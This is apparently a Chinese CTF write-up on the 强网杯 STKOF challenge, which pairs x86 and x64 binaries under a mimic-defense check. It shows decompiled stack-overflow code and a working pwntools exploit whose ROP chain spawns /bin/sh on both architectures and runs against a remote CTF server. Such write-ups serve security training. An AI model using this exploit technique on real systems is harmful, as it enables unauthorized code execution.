Back

[拟态防御] 强网杯 - 拟态 STKOF 利用思路

拟态防御

百度百科,看看就好

拟态现象(Mimic Phenomenon, MP)是指一种生物如果能够在色彩、纹理和形状等特征上模拟另一种生物或环境,从而使一方或双方受益的生态适应现象。按防御行为分类可将其列入基于内生机理的主动防御范畴,又可称之为拟态伪装(Mimic Guise, MG)。如果这种伪装不仅限于色彩、纹理和形状上,而且在行为和形态上也能模拟另一种生物或环境的拟态伪装,我们称之为“拟态防御”(Mimic Defense, MD)。

研究者发现,将这种主动防御方式引入到网络空间中,在基于内生安全机理的动态异构冗余构造DHR中引入拟态伪装的策略或机制,则能够使构造所产生的时空不一致的测不准效应更具有狡黠性。拟态伪装策略的导入能够更好的隐蔽或伪装目标对象的防御场景和防御行为,使得目标对象在应对持续性的、极其隐蔽的、高烈度的人机攻防博弈中获得更为可靠的优势地位,尤其是面对当前最大的安全威胁——未知漏洞后门,病毒木马等不确定威胁时,具有显著效果,克服了传统安全方法的诸多问题,网络空间拟态防御(Cyberspace Mimic Defense,CMD)理论应运而生。

当前信息时代的高速发展,为我们的生活带来了无限便利和乐趣,但是,随之而来的是网络环境中出现了诸多威胁和风险,网络空间安全问题亦像幽灵一样存在于人们生活中的各个角落。针对如此背景,邬江兴提出了网络空间安全再平衡战略——拟态防御观点。

在二进制安全中最简单的例子就是,对同一个程序部署两种架构的冗余备份(x86 & x64),通过监控用户输入在不同架构程序中的输出流是否相等来判断是否存在攻击威胁。

强网杯 STKOF

题目给了两个二进制文件,一个是x86pwn1,一个是x64pwn2。两者由同一个源文件编译并具有相同的栈溢出漏洞

反编译

  1. x86
int vul()
{
  char buf[264]; // [esp+Ch] [ebp-10Ch] BYREF

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  j_memset_ifunc(buf, 0, 256);
  read(0, buf, 0x300);
  return puts(buf);
}
  1. x64
__int64 vul()
{
  __int64 v0; // rdx
  char buf[272]; // [rsp+0h] [rbp-110h] BYREF 0x110

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  j_memset_ifunc(buf, 0LL, 0x100LL);
  read(0, buf, 0x300uLL);
  return puts(buf, buf, v0);
}

分析

两者的溢出长度不同,为了使得在rop过程中两种架构下的rop链互不干扰,我选择覆盖x86架构的返回地址为形如add esp, xxx; ret;的gadget,而x64则按常规方法部署rop链。最终得到结构如下的rop链:

size  desc
0x10c   溢出字符
0x4     ebp
0x8     rbp & x86_ret(0x4)
0x8     x64_ret
*       x64_rop_chain
*       padding
*       x86_rop_chain

exp

from pwn import *
import time

sh32 = process("./pwn1")
sh64 = process("./pwn2")
p = remote("node3.buuoj.cn", 26634)
elf32 = ELF("./pwn1")
elf64 = ELF("./pwn2")
context.log_level = "debug"


# const
x86_bss = 0x80DA320
x64_bss = 0x6A32E0
x86_mprotect = elf32.symbols[b"mprotect"]
x64_mprotect = elf64.symbols[b"mprotect"]
x86_read = elf32.symbols[b"read"]
x64_read = elf64.symbols[b"read"]

#x86_gadgets
x86_add_esp_0xd4_ppret = 0x0809eb2f
x86_ppp_ret = 0x0806e9c9
x86_pop_eax_ret = 0x80a8af6
x86_pop_ebx_ret = 0x80481c9
x86_xor_ecx_int_0x80 = 0x806ed91
x86_pop_edx_ret = 0x806e9cb
x86_int_0x80 = 0x80495a3

#x64_gadgets
x64_pop_rdi_ret = 0x4005f6
x64_pop_rsi_ret = 0x405895
x64_pop_rdx_ret = 0x43b9d5
x64_pop_rax_ret = 0x43b97c
x64_syscall = 0x4011dc

payload = b"a"*0x108
payload += p32(0xdeadbeef) #pad
payload += p32(0xdeadbeef) #ebp
payload += p64(x86_add_esp_0xd4_ppret) #rbp && x86_ret
payload += p64(x64_pop_rdi_ret) + p64(0) #x64_ret
payload += p64(x64_pop_rsi_ret) + p64(x64_bss) 
payload += p64(x64_pop_rdx_ret) + p64(8)
payload += p64(x64_read) # read(0, bss, 8)
payload += p64(x64_pop_rax_ret) + p64(59) # SYS_execve
payload += p64(x64_pop_rdi_ret) + p64(x64_bss) # /bin/sh
payload += p64(x64_pop_rsi_ret) + p64(0) #NULL
payload += p64(x64_pop_rdx_ret) + p64(0) #NULL
payload += p64(x64_syscall)
payload = payload.ljust((0xd4+0x118+0x4), b"b")
payload += p32(x86_read) # read(0, bss, 8)
payload += p32(x86_ppp_ret)
payload += p32(0) + p32(x86_bss) + p32(8)
payload += p32(x86_pop_eax_ret) + p32(11) # SYS_execve
payload += p32(x86_pop_ebx_ret) + p32(x86_bss)
payload += p32(x86_pop_edx_ret) + p32(0)
payload += p32(x86_xor_ecx_int_0x80)

print("len(payload):", hex(len(payload)))

'''
gdb.attach(sh32, "b *0x804892A\nc\n")
sh32.recvuntil(b"try to pwn it?\n")rbpxx
sh32.send(payload)
time.sleep(1)
sh32.send(b"/bin/sh\x00")
sh32.interactive()
'''

'''
gdb.attach(sh64, "b *0x400B31\nc\n")
sh64.recvuntil(b"try to pwn it?\n")
sh64.send(payload)
time.sleep(1)
sh64.send(b"/bin/sh\x00")
sh64.interactive()
'''

p.recvuntil(b"try to pwn it?\n")
p.send(payload)
time.sleep(1)
p.send(b"/bin/sh\x00")
p.interactive()
Submit